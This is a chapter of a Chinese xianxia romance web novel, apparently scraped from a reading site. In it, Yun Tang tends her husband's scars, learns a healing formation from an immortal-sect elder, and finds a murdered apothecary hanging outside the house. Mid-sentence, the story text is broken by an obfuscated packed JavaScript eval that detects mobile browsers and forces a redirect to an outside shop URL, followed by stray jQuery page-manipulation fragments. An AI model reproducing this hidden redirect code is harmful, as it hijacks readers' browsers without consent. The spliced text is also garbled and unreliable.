14.生辰八字

作品:《夫君每天都要双修

    那些疤痕至今也没有完全消退,那时候他一定离死不远了。


    云棠一时也不知道自己应该怎么安慰他,双手还在他掌握之中,想动也动不了,她干脆歪过头,嘴唇凑近他颈侧:“我帮你舔一舔吧,舔舔就不疼了。”


    江千寒没说一个字,直接扯开了自己的衣襟,露出一片健壮胸膛,几条狰狞伤疤清晰可见。


    “嗯……”她双眼一眨不眨看着他。


    江千寒侧躺在她身旁,右手托住她的后颈,他的掌心干燥火热,她感觉自己都快融化了。


    她把脸凑过去,在他颈肩处那一条深长伤疤上轻舔慢吮。


    当时敌军一定是想砍断他的脖子吧?


    这么一想,她很心疼,嘴唇贴上了他颈侧那一截疤痕,触感有些粗糙,中间一条线是凹进去的,两边微微凸起,颜色略深一点,她把舌尖抵在凹痕上面,来回扫刮,最后微微一吮,“啵”的一声响,她松口了。


    他指尖早已深入她发丝里,呼吸越来越粗重,灼热气息洒在她耳侧,烫得她浑身一个激灵。


    她连忙问:“现在还疼吗?”


    江千寒嗓音沙哑:“还有点疼,你再舔一会儿。”


    云棠半信半疑:“真的吗?”


    江千寒不答话,只是收手抱紧了她。


    云棠仰起头,在他唇边亲了一口:“现在已经快到子时了,该睡觉了,明天早晨我们还要去买药,万森棠的首席药师每天只接待三个人。”


    江千寒抬手在她脸颊上抚摸,他指腹粗糙,渐渐划到她耳尖,一分一寸细细揉捏。


    她舒服得闭上了眼睛:“嗯,好喜欢这样……”


    柔顺青丝落在他指间,他把那几缕长发拢到了枕头上。


    她感觉自己从头到脚都沾上了他的气味,像是雪地里的白檀木,混合了一丝麝香,又带着一缕冷冽锐气,丝丝缕缕缠绕着她,让她心神安定。


    云棠快要睡着了。


    江千寒忽然开口:“万森堂的那些药师,并不是魔界最好的医修。”


    云棠往他怀里蹭了蹭:“那魔界最好的医修是谁?”


    江千寒声调低沉:“她名叫幽姬,活了两百多岁,这几年一直在闭关,每年只接诊五个人,必须是魔修,凡人和仙修一概不见。”


    云棠打了一个哈欠:“没有例外吗?”


    江千寒在她后背上轻拍了一下:“除非,那人在最近一年之内,对魔界有过大恩。”


    云棠呢喃道:“还要最近一年才行吗?往年的恩情,她都不认了?”


    江千寒随口说:“毕竟是两百多岁的人了,大概记不住旧事。”


    魔修果然都很古怪,云棠叹了一口气:“她比我们两个都大了几百岁,我们也猜不到她的心思,不用费劲找她了……万森堂也挺好的,名气那么大……”


    她的声音越来越轻,最后一个字几乎是气音。


    江千寒把她抱得更紧:“我一定会治好你。”


    云棠没有回答。她已经睡着了。


    醒来时,天色微亮,江千寒依旧躺在她身旁,一手搂在她腰间,她动了一下,他的手臂立刻收紧了一分,她才知道他也醒了。


    “什么时辰了?”她问。


    江千寒道:“卯时三刻。”


    还不到辰时,怪不得天还没亮。


    云棠端起一盏烛台,去浴房里洗漱干净,又换了一身衣裳,走出房门,步入院子里。


    天色将明未明,东边仅有一线微白,四周群山环绕,远近高低各不相同,她看得出了神,忽然听见一道声音响起:“这么早就起来了?”


    她侧目,看见了温良平,当即打了个招呼:“师叔,早上好。”


    温良平把一只食盒放到了桌上:“我刚才去早市转了一圈,买了些吃的,不知合不合你的口味。”


    云棠掀开盖子,一股热气扑面,是刚出炉的小笼包,气味鲜香。


    她忙说:“多谢师叔。”


    四周静悄悄的,江千寒还没从屋里出来,池归雪大概也还在睡觉,院子里只有她和温良平两个人。


    她忍不住问:“请问师叔,仙界修士……都是什么样的?也像人间修士一样吗?”


    温良平望向了远山,过了片刻,才说:“所有人都是肉体凡胎,自然也有七情六欲,贪嗔痴恨。”


    云棠愣住了,温良平的回答,和她的想象完全不同。


    她看着他身上一尘不染的白衣:“我还以为,大多数仙界修士早已超脱尘世了,像师叔您这样,不沾俗念,不动凡心。”


    温良平笑意极淡:“仙界的清规戒律一向严苛,你和江贤侄在人间生活,远比在仙界自在许多。”


    云棠注意到他不动声色地把话题岔开了。


    她顺口说:“我只是一介平凡散修,怕是这辈子都没机会去仙界了,我听人说过,修为到了第四层以上,才能平安渡过界门。”


    温良平看着她,目光平静,半晌,他才开口:“修为可以慢慢精进,心性却是天生注定,在我看来,你的心性,不比仙界任何一个修士差,你与江千寒,十分般配。”


    温良平这一番劝告很是诚恳,云棠听完了,心里也放松了不少。她正要道谢,温良平话锋一转:“阵法入门并不难,你若有兴趣,我可以教你几招简单的。”


    温良平是琼华仙府的阵修,琼华仙府在仙界五大门派之中,排名第三,也是天下阵修心中的圣地。


    他开口说要教导云棠,云棠当然很开心,连忙双手合十:“请师叔赐教。”


    温良平又问:“你的生辰八字是什么?”


    云棠老老实实回答:“乙卯年,壬午月,乙卯日,丙子时。”


    温良平负手而立,语气从容:“阵法之道,分为三大体系,最基础的一种,是天地阵法,以天干地支为纲领,十天干,十二地支,两两相配,共成六十组,便是六十甲子。”


    云棠点了点头:“嗯嗯,我知道这个,阳干配阳支,阴干配阴支,一共有六十组……”


    温良平笑了笑,继续说道:“你的八字年柱和日柱都是乙卯,乙属木,卯属兔,乙卯纲领之下,最适合你入门的,便是‘百草回生阵’。”


    他双手结印,指尖微动,地板上忽然冒出了一层浅淡青光。


    云棠低头细看,竟是一丛一丛的草木虚影凭空生长了出来,一只由光线凝成的灵兔藏身于草木之间,左右横跳,看起来真是活泼可爱。


    “此阵一成,可治疗同伴伤势,”温良平放下双手,青光也渐渐散去,“虽是入门阵法,却能在关键时刻救人一命。”


    云棠做了一个深呼吸,集中注意力,学着温良平方才的手势结印,口中念道:“乙卯,百草回生阵。”


    无事发生。


    她有些气馁,目光转向另一侧。


    温良平一点也不着急,不紧不慢道:“你是初学者,念法诀时,千万不能省略,必须一字一句念全了,让灵力慢慢凝聚,来,再试一次。”


    他做了个示范:“口诀是,琼华仙府,天地阵法,天干地支纲领,乙卯,百草回生阵。”


    云棠睁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291360|197963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大了双眼:“可是,我夫君从来没有这样教过我,他都是直接结印的。”


    温良平笑了一下:“你夫君是旷世奇才,拜入仙门第一年便连升五层,寻常人的修炼方法对他来说全是累赘,你不要学他,跟着我来念口诀,我教过不少后辈。”


    云棠认真点头,重新结印,一字一句念出声:“琼华仙府,天地阵法,天干地支纲领,乙卯,百草回生阵……”


    双手指尖略微发热,一缕青光从她掌心浮了起来,如烟似雾,渐渐凝聚,绕着她手指转了一圈又一圈,直到每一圈之间不再出现缝隙。


    这时,一只两寸长的灵兔在她掌中显化,竖着一对耳朵,双眼清澈,四爪舒展,满身绒毛上都闪着白光,可爱极了。


    云棠高兴得差点叫出来:“师叔!我做到了!谢谢师叔!!”


    温良平也笑了:“你很有天赋。”


    “大嫂确实聪明。”


    这个声音忽然从云棠背后冒了出来。


    云棠吓了一跳,回头一看,池归雪正站在几步之外,抱着剑,面无表情。


    池归雪盯着云棠指尖上那只灵兔:“温师叔是绍州温家的人,温家世世代代都是阵修,教导过的后辈至少有一千人,大嫂能得到师叔指点,我替大嫂谢过师叔。”


    云棠还没回过神:“你今天说话还挺客气的……”


    又有另一双手握住了云棠的手腕,云棠抬头,江千寒不知从哪里瞬移过来,指尖搭在她脉搏上,给她渡来许多灵力。


    此时此刻,在江千寒助力之下,万千草木清影从她脚下蔓延开来,铺满了玉石地砖,数百只灵兔上下跳跃,在草丛里穿进穿出,甚至还有几只挨近她脚边,窝成一团,似乎把她当成了主人,对她很是亲昵。


    空气里弥漫着一股清新气味,像是雨后青草地,干净,湿润,令人心旷神怡。


    云棠站在光影之中,感觉自己的听力更敏锐,视力也更清晰,就连心境都比往日更平和了。


    江千寒松开手,草木与灵兔同时消失,周围一切归于平静。


    他说:“方才那是百草回生阵的全貌,总有一天,你可以自己施展出来。”


    云棠还沉浸在学会了一点阵法的喜悦里,恨不得立即扑进江千寒怀里使劲蹭他,不过池归雪和温良平还在旁边,她只好忍住了,轻咳了一声,装出一副平静模样。


    她又想到一个问题:“可是,我念法诀要那么久,真遇上危险,会不会来不及呢?”


    江千寒没回答,低头看了一眼她的手腕。


    云棠立即明白了,他送给她的护身玉镯可以保护她,在护盾之下,她有足够时间念完口诀。


    她笑了一声,还想招呼三人进屋去吃早饭,江千寒忽然抬起右手,握住了腰间的剑柄。


    “怎么了?”云棠也察觉到了危险。


    池归雪一步挡到了她身前:“门外,有血腥气。”


    温良平第一个走了出去,推开大门。


    朝阳初升,晨光涌进来,云棠绕过池归雪,跟在温良平背后,偷瞟了一眼,呼吸顿时停止了。


    这一座大宅门外,数十丈远的地方,一棵繁茂槐树立在路边,枝杈横生,竟有一具尸体倒挂在一条粗壮枝杈上。


    绳子勒进了死者脚踝,血从他的头顶往下淌,浸透了发梢,一滴一滴落在地上,聚成了一小滩红泥。


    他身上穿着一件青灰色长袍,前襟上绣着一株血骨草,那是万森堂药师的常服。


    四周一片寂静,没有守卫,也没有修士,只有一具死尸在风中摆荡。